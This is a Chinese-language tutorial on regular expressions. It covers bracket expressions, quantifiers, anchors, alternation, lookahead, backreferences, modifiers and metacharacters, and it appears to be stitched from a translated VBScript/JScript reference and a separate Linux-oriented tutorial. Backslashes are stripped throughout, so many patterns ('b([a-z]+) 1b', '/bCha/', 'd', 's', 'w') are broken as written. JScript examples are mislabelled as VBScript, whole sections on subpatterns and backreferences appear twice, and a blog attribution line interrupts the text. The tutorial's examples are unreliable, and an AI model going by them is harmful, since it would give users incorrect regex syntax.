']' 字符如果不是第一项,则将结束一个列表。要在列表中匹配 ']' 字符,请将其放在第一项,紧跟在开始的 '[' 后面。
'' 仍然作为转义符。要匹配 '' 字符,请使用 ''。
括号表达式中所包含的字符只匹配该括号表达式在正则表达式中所处位置的一个单字符。下面的 Visual Basic Scripting Edition 正则表达式可以匹配 'Chapter 1'、'Chapter 2'、'Chapter 3'、'Chapter 4' 以及 'Chapter 5':

/Chapter [12345]/
在 VBScript 中要匹配同样的章节标题,请使用下面的表达式:

"Chapter [12345]"
请注意单词 'Chapter' 及后面的空格与括号内的字符的位置关系是固定的。因此,括号表达式只用来指定满足紧跟在单词 'Chapter' 和一个空格之后的单字符位置的字符集合。这里是第九个字符位置。

如果希望使用范围而不是字符本身来表示待匹配的字符,则可以使用连字符将该范围的开始和结束字符分开。每个字符的字符值将决定其在一个范围内的相对顺序。 下面的 Visual Basic Scripting Edition 正则表达式包含了一个等价于上面所示的括号列表的范围表达式。

/Chapter [1-5]/
VBScipt 中相同功能的表达式如下所示:

"Chapter [1-5]"
如果以这种方式指定范围,则开始和结束值都包括在该范围内。有一点特别需要注意的是,在 Unicode 排序中起始值一定要在结束值之前。

如果想在括号表达式中包括连字符,则必须使用下述方法之一:

使用反斜杠将其转义:
[-]
将连字符放在括号列表的开始和结束位置。下面的表达式能匹配所有的小写字母和连字符:
[-a-z]
[a-z-]
创建一个范围,其中开始字符的值小于连字符,而结束字符的值等于或大于连字符。下面两个正则表达式都满足这一要求:
[!--]
[!-~]
同样,通过在列表开始处放置一个插入符(^),就可以查找所有不在列表或范围中的字符。如果该插入符出现在列表的其他位置,则匹配其本身,没有任何特殊含 义。下面的 Visual Basic Scripting Edition 正则表达式匹配章节号大于 5 的章节标题:

/Chapter [^12345]/
对 VBScript 则使用:

"Chapter [^12345]"
在上面所示的示例中,表达式将匹配第九个位置处除1, 2, 3, 4, or 5 之外的任何数字字符。因此, 'Chapter 7' 为一个匹配,同样 'Chapter 9' 也是如此。

上面的表达式可以使用连字符 (-) 表示。对 Visual Basic Scripting Edition 为:

/Chapter [^1-5]/
或者,对 VBScript 为:

"Chapter [^1-5]"
括号表达式的典型用法是指定对任何大写或小写字母字符或任何数字的匹配。下面的 Visual Basic Scripting Edition 表达式给出了这一匹配:

/[A-Za-z0-9]/
等价的 VBScript 表达式为:

"[A-Za-z0-9]"
9.
限定符
有时候不知道要匹配多少字符。为了能适应这种不确定性,正则表达式支持限定符的概念。这些限定符可以指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。

下表给出了各种限定符及其含义的说明:

字符 描述
*  匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。 * 等价于{0,}。
+  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
?  匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 中的"do" 。? 等价于 {0,1}。
{n} n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。
{n,}  n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。
{n,m}  m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。刘, "o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。


对一个很大的输入文档而言,章节数很轻易就超过九章,因此需要有一种方法来处理两位数或者三位数的章节号。限定符就提供了这个功能。下面的Visual Basic Scripting Edition 正则表达式可以匹配具有任何位数的章节标题:

/Chapter [1-9][0-9]*/
下面的 VBScript 正则表达式执行同样的匹配:

"Chapter [1-9][0-9]*"
请注意限定符出现在范围表达式之后。因此,它将应用于所包含的整个范围表达式,在本例中,只指定了从 0 到 9 的数字。

这里没有使用 '+' 限定符,因为第二位或后续位置上并不一定需要一个数字。同样也没有使用 '?' 字符,因为这将把章节数限制为只有两位数字。在 'Chapter' 和空格字符之后至少要匹配一个数字。

如果已知章节数限制只有99 章,则可以使用下面的 Visual Basic Scripting Edition 表达式来指定至少有一位数字,但不超过两个数字。

/Chapter [0-9]{1,2}/
对 VBScript 可以使用下述正则表达式:

"Chapter [0-9]{1,2}"
上述表达式的缺点是如果有一个章节号大于 99,它仍只会匹配前两位数字。另一个缺点是某些人可以创建一个 Chapter 0,而且仍能匹配。一个更好的用来匹配两位数的 Visual Basic Scripting Edition 表达式如下:

/Chapter [1-9][0-9]?/
或者

/Chapter [1-9][0-9]{0,1}/
对 VBScript 而言,下述表达式与上面等价:

"Chapter [1-9][0-9]?"
或者

"Chapter [1-9][0-9]{0,1}"
'*'、 '+'和 '?' 限定符都称之为贪婪的,也就是说,他们尽可能多地匹配文字。有时这根本就不是所希望发生的情况。有时则正好希望最小匹配。

例如,你可能要搜索一个 HTML 文档来查找一处包含在 H1 标记中的章节标题。在文档中该文字可能具有如下形式:

<H1>Chapter 1 – Introduction to Regular Expressions</H1>
下面的表达式匹配从开始的小于号 (<) 到 H1 标记结束处的大于号之间的所有内容。

/<.*>/
VBScript 的正则表达式为:

"<.*>"
如果所要匹配的就是开始的 H1 标记,则下述非贪婪地表达式就只匹配 <H1>。

/<.*?>/
或者

"<.*?>"
通过在 '*'、 '+' 或 '?' 限定符后放置 '?',该表达式就从贪婪匹配转为了非贪婪或最小匹配。

10..
定位符
到现在为止,所看到的示例都只考虑查找任何地方出现的章节标题。出现的任何一个字符串 'Chapter' 后跟一个空格和一个数字可能是一个真正的章节标题,也可能是对其他章节的交叉引用。由于真正的章节标题总是出现在一行的开始,因此需要设计一个方法只查找 标题而不查找交叉引用。

定位符提供了这个功能。定位符可以将一个正则表达式固定在一行的开始或结束。也可以创建只在单词内或只在单词的开始或结尾处出现的正则表达式。下表包含了正则表达式及其含义的列表:

字符 描述
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 'n' 或 'r' 之后的位置。
$ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 'n' 或 'r' 之前的位置。
b 匹配一个单词边界,也就是指单词和空格间的位置。
B 匹配非单词边界。


不能对定位符使用限定符。因为在一个换行符或者单词边界的前面或后面不会有连续多个位置,因此诸如 '^*' 的表达式是不允许的。

要匹配一行文字开始位置的文字,请在正则表达式的开始处使用 '^' 字符。不要把 '^' 的这个语法与其在括号表达式中的语法弄混。它们的语法根本不同。

要匹配一行文字结束位置的文字,请在正则表达式的结束处使用 '$' 字符。

要在查找章节标题时使用定位符,下面的 Visual Basic Scripting Edition 正则表达式将匹配位于一行的开始处最多有两个数字的章节标题:

/^Chapter [1-9][0-9]{0,1}/
VBScript 中相同功能的正则表达式如下:

"^Chapter [1-9][0-9]{0,1}"
一个真正的章节标题不仅出现在一行的开始,而且这一行中也仅有这一个内容,因此,它必然也位于一行的结束。下面的表达式确保所指定的匹配只匹配章节而不会匹配交叉引用。它是通过创建一个只匹配一行文字的开始和结束位置的正则表达式来实现的。

/^Chapter [1-9][0-9]{0,1}$/
对 VBScript 则使用:

"^Chapter [1-9][0-9]{0,1}$"
匹配单词边界有少许不同,但却给正则表达式增加了一个非常重要的功能。单词边界就是单词和空格之间的位置。非单词边界就是其他任何位置。下面的 Visual Basic Scripting Edition 表达式将匹配单词 'Chapter' 的前三个字符,因为它们出现在单词边界后:

/bCha/
对 VBScript 为:

"bCha"
这里 'b' 操作符的位置很关键。如果它位于要匹配的字符串的开始,则将查找位于单词开头处的匹配;如果它位于改字符串的末尾,则查找位于单词结束处的匹配。例如,下面的表达式将匹配单词 'Chapter' 中的 'ter',因为它出现在单词边界之前:

/terb/
以及

"terb"
下面的表达式将匹配 'apt',因为它位于 'Chapter' 中间,但不会匹配 'aptitude' 中的'apt':

/Bapt/
以及

"Bapt"
这是因为在单词 'Chapter' 中 'apt' 出现在非单词边界位置,而在单词 'aptitude' 中位于单词边界位置。非单词边界操作符的位置不重要,因为匹配与一个单词的开头或结尾无关。
11.

选择与编组
选择允许使用 '|' 字符来在两个或多个候选项中进行选择。通过扩展章节标题的正则表达式,可以将其扩充为不仅仅适用于章节标题的表达式。不过,这可没有想象的那么直接。在使 用选择时,将匹配'|' 字符每边最可能的表达式。你可能认为下面的 Visual Basic Scripting Edition 和 VBScript 表达式将匹配位于一行的开始和结束位置且后跟一个或两个数字的 'Chapter' 或 'Section':

/^Chapter|Section [1-9][0-9]{0,1}$/
"^Chapter|Section [1-9][0-9]{0,1}$"
不幸的是,真正的情况是上面所示的正则表达式要么匹配位于一行开始处的单词 'Chapter',要么匹配一行结束处的后跟任何数字的 'Section'。如果输入字符串为 'Chapter 22',上面的表达式将只匹配单词 'Chapter'。如果输入字符串为 'Section 22',则该表达式将匹配 'Section 22'。但这种结果不是我们此处的目的,因此必须有一种办法来使正则表达式对于所要做的更易于响应,而且确实也有这种方法。

可以使用圆括号来限制选择的范围,也就是说明确该选择只适用于这两个单词 'Chapter' 和 'Section'。不过,圆括号同样也是难处理的,因为它们也用来创建子表达式,有些内容将在后面关于子表达式的部分介绍。通过采用上面所示的正则表达 式并在适当位置添加圆括号,就可以使该正则表达式既可以匹配 'Chapter 1',也可以匹配 'Section 3'。

下面的正则表达式使用圆括号将 'Chapter' 和 'Section' 组成一组,所以该表达式才能正确工作。对 Visual Basic Scripting Edition 为:

/^(Chapter|Section) [1-9][0-9]{0,1}$/
对 VBScript 为:

"^(Chapter|Section) [1-9][0-9]{0,1}$"
这些表达式工作正确,只是产生了一个有趣的副产品。在 'Chapter|Section' 两边放置圆括号建立了适当的编组,但也导致两个待匹配单词之一都被捕获供今后使用。由于在上面所示的表达式中只有一组圆括号,因此只能有一个捕获的 submatch。可以使用 VBScript 的Submatches 集合或者Visual Basic Scripting Edition 中RegExp 对象的 $1-$9 属性来引用这个子匹配。

有时捕获一个子匹配是所希望的,有时则是不希望的。在说明所示的示例中,真正想做的就是使用圆括号对单词 'Chapter' 或 'Section' 之间的选择编组。并不希望在后面再引用该匹配。实际上,除非真的是需要捕获子匹配,否则请不要使用。由于不需要花时间和内存来存储那些子匹配,这种正则表 达式的效率将更高。

可以在正则表达式模式圆括号内部的前面使用 '?:'来防止存储该匹配供今后使用。对上面所示正则表达式的下述修改提供了免除子匹配存储的相同功能。对 Visual Basic Scripting Edition:

/^(?:Chapter|Section) [1-9][0-9]{0,1}$/
对 VBScript:

"^(?:Chapter|Section) [1-9][0-9]{0,1}$"
除了 '?:' 元字符,还有两个非捕获元字符用于称之为预查的匹配。一个为正向预查,用 ?= 表示, 在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串。一个为负向预查,用 '?!' 表示,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。

例如,假定有一个包含引用有 Windows 3.1、Windows 95、Windows 98 以及 Windows NT 的文档。进一步假设需要更新该文档,方法是查找所有对 Windows 95、Windows 98 以及 Windows NT 的引用,并将这些引用更改为 Windows 2000。可以使用下面的 Visual Basic Scripting Edition 正则表达式,这是一个正向预查,来匹配 Windows 95、Windows 98 以及 Windows NT:

/Windows(?=95 |98 |NT )/
在 VBScript 要进行同样的匹配可以使用下述表达式:

"Windows(?=95 |98 |NT )"
找到一个匹配后,紧接匹配到的文字(而不包括预查中使用的字符)就开始对下一次匹配的搜索。例如,如果上面所示的表达式匹配到 'Windows 98',则将从 'Windows' 而不是 '98' 之后继续查找。

--------------------------------------------------------------------------------
12.
后向引用
正则表达式一个最重要的特性就是将匹配成功的模式的某部分进行存储供以后使用这一能力。请回想一下,对一个正则表达式模式或部分模式两边添加圆括号将导致 这部分表达式存储到一个临时缓冲区中。可以使用非捕获元字符 '?:', '?=', or '?!' 来忽略对这部分正则表达式的保存。

所捕获的每个子匹配都按照在正则表达式模式中从左至右所遇到的内容存储。存储子匹配的缓冲区编号从 1 开始,连续编号直至最大 99 个子表达式。每个缓冲区都可以使用 'n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

后向引用一个最简单,最有用的应用是提供了确定文字中连续出现两个相同单词的位置的能力。请看下面的句子:

Is is the cost of of gasoline going up up?
根据所写内容,上面的句子明显存在单词多次重复的问题。如果能有一种方法无需查找每个单词的重复现象就能修改该句子就好了。下面的 Visual Basic Scripting Edition 正则表达式使用一个子表达式就可以实现这一功能。

/b([a-z]+) 1b/gi
等价的 VBScript 表达式为:

"b([a-z]+) 1b"
在这个示例中,子表达式就是圆括号之间的每一项。所捕获的表达式包括一个或多个字母字符,即由'[a-z]+' 所指定的。该正则表达式的第二部分是对前面所捕获的子匹配的引用,也就是由附加表达式所匹配的第二次出现的单词。'1'用来指定第一个子匹配。单词边界元 字符确保只检测单独的单词。如果不这样,则诸如 "is issued" 或 "this is" 这样的短语都会被该表达式不正确地识别。

在 Visual Basic Scripting Edition 表达式中,正则表达式后面的全局标志 ('g') 表示该表达式将用来在输入字符串中查找尽可能多的匹配。大小写敏感性由表达式结束处的大小写敏感性标记 ('i') 指定。多行标记指定可能出现在换行符的两端的潜在匹配。对 VBScript 而言,在表达式中不能设置各种标记,但必须使用 RegExp 对象的属性来显式设置。

使用上面所示的正则表达式,下面的 Visual Basic Scripting Edition 代码可以使用子匹配信息,在一个文字字符串中将连续出现两次的相同单词替换为一个相同的单词:

var ss = "Is is the cost of of gasoline going up up?.n";
var re = /b([a-z]+) 1b/gim;       //创建正则表达式样式.
var rv = ss.replace(re,"$1");   //用一个单词替代两个单词.
最接近的等价  VBScript 代码如下:

Dim ss, re, rv
ss = "Is is the cost of of gasoline going up up?." & vbNewLine
Set re = New RegExp
re.Pattern = "b([a-z]+) 1b"
re.Global = True
re.IgnoreCase = True
re.MultiLine = True
rv = re.Replace(ss,"$1")
请注意在 VBScript 代码中,全局、大小写敏感性以及多行标记都是使用 RegExp 对象的适当属性来设置的。

在replace 方法中使用 $1 来引用所保存的第一个子匹配。如果有多个子匹配,则可以用 $2, $3 等继续引用。

后向引用的另一个用途是将一个通用资源指示符 (URI) 分解为组件部分。假定希望将下述的URI 分解为协议 (ftp, http, etc),域名地址以及页面/路径:

http://msdn.microsoft.com:80/scripting/default.htm
下面的正则表达式可以提供这个功能。对 Visual Basic Scripting Edition,为:

/(w+)://([^/:]+)(:d*)?([^# ]*)/
对 VBScript 为:

"(w+)://([^/:]+)(:d*)?([^# ]*)"
第一个附加子表达式是用来捕获该 web 地址的协议部分。该子表达式匹配位于一个冒号和两个正斜杠之前的任何单词。第二个附加子表达式捕获该地址的域名地址。该子表达式匹配不包括 '^'、 '/' 或 ':' 字符的任何字符序列。第三个附加子表达式捕获网站端口号码,如果指定了该端口号。该子表达式匹配后跟一个冒号的零或多个数字。最后,第四个附加子表达式捕 获由该 web 地址指定的路径以及或者页面信息。该子表达式匹配一个和多个除'#' 或空格之外的字符。
by clin003 from:http://clin003.com/http://blog.csdn.net/cin003/
将该正则表达式应用于上面所示的 URI 后,子匹配包含下述内容:

RegExp.$1 包含 "http"

RegExp.$2 包含 "msdn.microsoft.com"

RegExp.$3 包含 ":80"

RegExp.$4 包含 "/scripting/default.htm"

正则表达式广泛出现在UNIX/Linux相关的各种领域和多种编程语言里。从常见的shell命令到大名鼎鼎的Perl语言再到当前非常流行的PHP, 它都扮演着一个重要的角色。甚至windows的命令行控制台也支持正则表达式。如果你是一个Linux服务器管理员,你经常会在一些服务器的设置脚本里 看到它。

  可以说,它是学好Linux/UNIX必需掌握的一个知识点,否则你连Linux的启动脚本都读不懂。偏偏它又的确有点晦涩难懂,而且相关的资料又大 部分是英文,更为它的学习增加了几多困难。即使有些中文的翻译资料,不同的译者对一些术语的译法也五花八门,读着让人平添困惑。为此,我决定为它写一个简 明教程,尽量可以覆盖正则表达式涉及到的各主要概念。

  我并不想把本文写成一本详细的正则表达式语法手册,事实上,这些手册已经存在了,不过读起来比较难懂。我希望的是在完成本教程后,你可以比较轻松的读 懂各种工具的正则表达式语法手册并可以迅速上手,不过要用好正则表达式,可不是一篇短短的教程可以解决的,那是无数实践练习的结果。但是,本文的最后一部 分对于正则表达式的编写提出了一些原则性的建议,学习一下这些正则表达式应用先驱者的经验会让我们在今后的实践中少走一些弯路。

  正则表达式是英文“regular expressions”的译文,它的产生据说可以追溯到“神经网络”等比较高深的理论。那么什么是正则表达式呢?

  正则表达式是从左向右去匹配目标字符串的一组模式。大多数字符在模式中表示它们自身并匹配目标中相应的字符。举个最简单的例子,模式“The quick brown fox”匹配了目标字符串中与其完全相同的一部分。

  前面已经提过,正则表达式被许多植根于UNIX/Linux的工具采用,可是这些工具的正则表达式语法并不完全相同,它们中的一些对正则表达式语法的 扩展并不被其它工具识别,这也为正则表达式的使用增加了难度。因此,当你在一个具体的环境中使用正则表达式时,你还要先看一下目标环境支持的语法范围,以 确保你的正则表达式被正确的解析。

  在本文中列举的例子里,我们用正斜线“/”做为模式的定界符(delimiter),一个模式用下面这种格式表示:

/[A-Z]+(abc|xyz)*/i


  本文将较详细的阐明下面这些正则表达式概念:模式修正符(modifier),元字符(Meta-characters),子模式 (subpatterns)与逆向引用(Back references),重复(Repetition)和量词(quantifiers),断言(Assertions),注释,正则表达式中的递归,最 后我介绍一款方便学习正则表达式的工具并介绍一些正则表达式编写的思路。

正则表达式的模式修正符(modifier)

  正则表达式的模式修正符主要用来限定模式与目标字符串的匹配方式,例如是否需要大小写敏感的匹配,是单行模式还是多行模式。修正符中的空格和换行被忽略,其它字符会导致错误。下面列举一些常见的模式修正符。注意,模式修正符是区分大小写的。

  i:非大小写敏感模式,:如果设定此修正符,模式中的字符将同时匹配大小写字母。

  m:多行模式,当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。

  s:单行模式,如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。

  对于多行模式和单行模式,一个容易让初学者迷惑的地方是这两者并不向字面上那样是互斥的。事实上,它们只是分别定义了英文句点(.)、音调符(^)和美元符($)这三个元字符的匹配方式,因此,单行模式与多行模式的修正符可以同时使用。

  x:如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的 # 以及下一个换行符之间的所有字符,包括两头,也都被忽略。它使得可以在复杂的模式中加入注释。我们会在后面的部分更详细的讲解正则表达中的注释。

  模式修正符还有很多,这里不再一一列举。我们会结合后面的内容介绍一些其它的模式修正符。不同的工具也可以添加自己的模式修正符,不过上面几最为常见。

  模式修正符通常跟在模式定义结束符的后面,例如下面例子中模式最后的“i”字符。/[A-Z]+(abc|xyz)*/i,这时此修正符会对整个匹配 模式起作用。模式修正符也可以在模式内部通过包含在 "(?" 和 ")" 之间的修正符字母序列来实现。例如,(?im) 设定了不区分大小写,多行模式。也可以通过在字母前加上减号来取消这些选项。例如组合的选项 (?im-s),设定了不区分大小写和多行模式,并取消了单行模式。如果一个字母在减号之前与之后都出现了,则该选项被取消设定。

  注意,如果(?im-s)出现在一个子模式内(被另一对小括号包含)会把模式修正符的作用局限在该子模式中。
正则表达式的元字符(Meta-characters)

  正则表达式的威力在于其能够在模式中包含选择和循环。它们通过使用元字符来编码在模式中,元字符不代表其自身,它们用一些特殊的方式来解析。

  有两组不同的元字符:一种是模式中除了方括号内都能被识别的,还有一种是在方括号内被识别的。如果想在模式里包含一个元字符本身,就需要用到转义符 号,正则表达式常用反斜线“”作为转义字符使用,为了匹配“”本身,你需要输入两个“”,向这样“”。当然,这个符号本身也是一个元字符。

  方括号之外的元字符有这些:

  

  有数种用途的通用转义符

  ^

  断言目标的开头(或在多行模式下行的开头,即紧随一换行符之后)

  $

  断言目标的结尾(或在多行模式下行的结尾,即紧随一换行符之前)

  .

  匹配除了换行符外的任意一个字符(默认情况下)

  [

  字符类定义开始

  ]

  字符类定义结束

  |

  开始一个多选一的分支

  (

  子模式开始

  )

  子模式结束

  ?

  扩展 ( 的含义,我们已经在介绍模式修正符里看到过它的使用。它也可以是 0 或 1 数量限定符,以及数量限定符最小值

  *

  匹配 0 个或多个的数量限定符

  +

  匹配 1 个或多个的数量限定符

  {

  最少/最多数量限定开始

  }

  最少/最多数量限定结束

  模式中方括号内的部分称为“字符类”。字符类中可用的元字符为:

  

  通用转义字符

  ^

  排除字符类,但仅当其为第一个字符时有效

  -

  指出字符范围  
在这里,最值得一提是“”这个元字符。之所以重点对它进行讲解是因为这一个元字符有多种不同的用法,在不同情况下代表不同的含义,而且使用频率非常高,是个很容易让人迷惑的地方。

  第一种用法前面我们已经提过,是作为通用转义字符使用,如果其后跟着一个非字母数字字符,则取消该字符可能具有的任何特殊含义。此种将反斜线用作转义字符的用法适用于无论是字符类之中还是之外。例如“”代表一个单独的反斜线“”。

  第二种用途提供了一种在模式中以可见方式去编码不可打印字符的方法。模式中完全可以包括不可打印字符,除了代表模式结束的二进制零,例如,可以用 “a”代表alarm,即 BEL 字符(0x07),或用“cx”代表"control-x",其中 x 是任意字符。当然,这种方法表示的不一定非得是不可打印字符,实际上,可以用“xhh(十六进制代码为 hh 的字符)”和“ddd(八进制代码为 ddd 的字符)”来以编码的形式表达任何单字节字符,例如“�40”可以用来表示空格。

  反斜线的第三个用法是指定通用字符类型,这些字符类型序列可以出现在字符类之中和之外。每一个匹配相应类型中的一个字符。如果当前匹配点在目标字符串的结尾,以上所有匹配都失败,因为没有字符可供匹配。有以下这些常见的通用字符类:

  d 任一十进制数字

  D任一非十进制数的字符

  s任一空白字符

  S任一非空白字符

  w任一“字”的字符

  W任一“非字”的字符

  反斜线的第四个用法是某些简单的断言,关于断言的讨论我们放在后面,这里先不加讨论。

  反斜线的最后一个用法是逆向引用。关于逆向引用,我们会在后面讨论逆向引用的部分来做进一步的讨论。

  我们已经看到,反斜线的众多用法,其中一些涉及到了以后才讲的内容。我们在模式中遇到反斜线时一定要注意它具体是哪一种用途以免疑惑。

  另外两个方括号也是非常重要的元字符,左方括号开始了一个字符类,右方括号结束之。单独一个右方括号不是特殊字符。字符类匹配目标中的一个字符,该字 符必须是字符类定义的字符集中的一个;除非字符类中的第一个字符是音调符(^),此情况下目标字符必须不在字符类定义的字符集中。如果在字符类中需要音调 符本身,则其必须不是第一个字符,或用反斜线转义。例如,[^A-Z]表式非大写字符。

  其它元字符我们会在以后的文章中结合相关内容介绍。


【导读】在本文里,我们主要介绍子模式(subpatterns),逆向引用(Back references)和量词(quantifiers)

在上篇文章里,我们介绍了正则表达式的模式修正符与元字符,细心的读者也许会发现,这部分介绍的非常简略,而且很少有实际的例子的讲解。这主要是因为网上 现有的正则表达式资料都对这部分都有详细的介绍和众多的例子,如果觉得对前一部分缺乏了解可以参看这些资料。本文希望可以尽可能多涉及一些较高级的正则表 达式特性。

  在本文里,我们主要介绍子模式(subpatterns),逆向引用(Back references)和量词(quantifiers),其中重点介绍对这些概念的一些扩展应用,例如子模式中的非捕获子模式,量词匹配时的greedy与ungreedy。

  子模式(subpatterns)与逆向引用(Back references)

  正则表达式可以包含多个字模式,子模式由圆括号定界,可以嵌套。这也是两个元字符“(”和“)”的作用。子模式可以有以下作用:

  1. 将多选一的分支局部化。

  例如,模式: cat(aract|erpillar|)匹配了 "cat","cataract" 或 "caterpillar" 之一,没有圆括号的话将匹配 "cataract","erpillar" 或空字符串。

  2. 将子模式设定为捕获子模式(例如上面这个例子)。当整个模式匹配时,目标字符串中匹配了子模式的部分可以通过逆向引用进行调用。左圆括号从左到右计数(从 1 开始)以取得捕获子模式的数。

  注意,子模式是可以嵌套的,例如,如果将字符串 "the red king" 来和模式 /the ((red|white) (king|queen))/进行匹配,捕获的子串为 "red king","red" 以及 "king",并被计为 1,2 和 3 ,可以通过“1”,“2”,“3”来分别引用它们,“1”包含了“2”和“3”,它们的序号是由左括号的顺序决定的。

  在一些老的linux/unux工具里,子模式使用的圆括号需要用反斜线转义,向这种(subpattern),但现代的工具已经不需要了,本文中使用的例子都不进行转义。


非捕获子模式(non-capturing subpatterns)

  用一对括号同时完成上面提到的子模式的两个功能有时会出现一些问题,例如,由于逆向引用的数目是有限的(通常最大不超过9),而且经常会遇到无需捕获 的子模式定义。这时,可以在开始的括号后加上问号和冒号来表示这个子模式无需捕获,就向下面这样(?:red|white) (king|queen))。

  如果将“the white queen”作为模式匹配的目标字符串,则捕获的字串有“white queen”和“queen”,分别作为“1”和“2”,white虽然符合子模式“(?:red|white)”,但并不被捕获。

  我们前面已经介绍过用括号与问号表示模式修正符的方法,为方便起见,如果需要在非捕获子模式中插入模式修正符,可以把它直接放在问号和冒号之间,例如,下面两个模式是等效的。

  /(?i:saturday|sunday)/和/(??i)saturday|sunday)/。

  逆向引用(Back references)

  前面介绍反斜线作用时,已经提到它的一个作用就是表示逆向引用,当字符类之外的反斜线后跟一个大于0的十进制数时,它很有可能是一个逆向引用。它的含 义正如它的名称如言,它表示对它出现之前已经捕获的子模式的引用。这个数字代表了它引用的左括号在模式中出现的次序,我们在介绍子模式时已经看到过逆向引 用的一个例子,那里的过“1”,“2”,“3”分别表示所捕获的第一,第二,和第三个小括号定义的子模式的内容。

  值得注意的是,当反斜线后的数字小于10时,可以确定此为一个逆向引用,这样,这个逆向引用就可以出现在之前有相应数目的左圆括号被捕获前而不会出现 混淆,只有整个模式能提供那么多的捕获子模式,就不会报错。说起来似乎很混乱,还是让我们来看下面这个例子。把介绍子模子时举的例子拿来修改一下,前面讲 过字符串 "the red king" 来和模式 /the ((red|white) (king|queen))/匹配,捕获的子串为 "red king","red" 以及 "king",并被计为 1,2 和 3 ,现在把字符串,修改为" king,the red king",模式改为/3,the ((red|white) (king|queen))/,这个模式应该也是可以匹配的。不过,并非所有的正则表达式工具都支持这种用法,安全的做法是在相应序号的左括号之后使用与 之相关的逆向引用。

  需要注意的另一点是逆向引用的值是在目标字符串中实际捕获的符合子模式的字符串片段而非该子模式本本身。例如/ (sens|respons)e and 1ibility/会匹配“sense and sensibility” 和 “response and responsibility”,但不会是 "sense and responsibility"。当被逆向引用的子模式后面有量词从而被重复匹配了多次,逆向引用的值会以最后一次匹配的值为准。例如/([abc]) {3}/匹配字符串“abc”时,逆向引用“1”的值将是最后一次匹配的结果“c”。

  命名子模式(named subpattern)

  一些工具(例如Python)可以为逆向引用命名,从而定义出命名子模式。在Python中对正则表达式的使用是以函数或方法调用的格式,语法与这里举的例子有较大差别。有兴趣的朋友可以参看一下自己使用的工具来看看是否支持命名子模式。

非捕获子模式(non-capturing subpatterns)

  用一对括号同时完成上面提到的子模式的两个功能有时会出现一些问题,例如,由于逆向引用的数目是有限的(通常最大不超过9),而且经常会遇到无需捕获 的子模式定义。这时,可以在开始的括号后加上问号和冒号来表示这个子模式无需捕获,就向下面这样(?:red|white) (king|queen))。

  如果将“the white queen”作为模式匹配的目标字符串,则捕获的字串有“white queen”和“queen”,分别作为“1”和“2”,white虽然符合子模式“(?:red|white)”,但并不被捕获。

  我们前面已经介绍过用括号与问号表示模式修正符的方法,为方便起见,如果需要在非捕获子模式中插入模式修正符,可以把它直接放在问号和冒号之间,例如,下面两个模式是等效的。

  /(?i:saturday|sunday)/和/(?:(?i)saturday|sunday)/。

  逆向引用(Back references)

  前面介绍反斜线作用时,已经提到它的一个作用就是表示逆向引用,当字符类之外的反斜线后跟一个大于0的十进制数时,它很有可能是一个逆向引用。它的含 义正如它的名称如言,它表示对它出现之前已经捕获的子模式的引用。这个数字代表了它引用的左括号在模式中出现的次序,我们在介绍子模式时已经看到过逆向引 用的一个例子,那里的过“1”,“2”,“3”分别表示所捕获的第一,第二,和第三个小括号定义的子模式的内容。

  值得注意的是,当反斜线后的数字小于10时,可以确定此为一个逆向引用,这样,这个逆向引用就可以出现在之前有相应数目的左圆括号被捕获前而不会出现 混淆,只有整个模式能提供那么多的捕获子模式,就不会报错。说起来似乎很混乱,还是让我们来看下面这个例子。把介绍子模子时举的例子拿来修改一下,前面讲 过字符串 "the red king" 来和模式 /the ((red|white) (king|queen))/匹配,捕获的子串为 "red king","red" 以及 "king",并被计为 1,2 和 3 ,现在把字符串,修改为" king,the red king",模式改为/3,the ((red|white) (king|queen))/,这个模式应该也是可以匹配的。不过,并非所有的正则表达式工具都支持这种用法,安全的做法是在相应序号的左括号之后使用与 之相关的逆向引用。

  需要注意的另一点是逆向引用的值是在目标字符串中实际捕获的符合子模式的字符串片段而非该子模式本本身。例如/ (sens|respons)e and 1ibility/会匹配“sense and sensibility” 和 “response and responsibility”,但不会是 "sense and responsibility"。当被逆向引用的子模式后面有量词从而被重复匹配了多次,逆向引用的值会以最后一次匹配的值为准。例如/([abc]) {3}/匹配字符串“abc”时,逆向引用“1”的值将是最后一次匹配的结果“c”。

  命名子模式(named subpattern)

  一些工具(例如Python)可以为逆向引用命名,从而定义出命名子模式。在Python中对正则表达式的使用是以函数或方法调用的格式,语法与这里举的例子有较大差别。有兴趣的朋友可以参看一下自己使用的工具来看看是否支持命名子模式。

重复(Repetition)和量词(quantifiers)

  在前面介绍逆向引用的部分里我们已经接触到了量词(quantifiers)的概念,例如前面的例子/([abc]){3}/表示三个连续的字符,每 个字符都必然是 “abc”这三个字符中的一个。在这个模式里,{3}就属于量词。它表示一个模式需要重复匹配(repetition)的数目。

  量词可以放在下面这些项目之后:

  ?●单个字符(有可能是被转义的单个字符,如xhh)

  ?●“.”元字符

  ?● 由方括号表示的字符类

  ?● 逆向引用

  ?●由小括号定义的子模式(除非它是个断言,我们会在以后介绍)

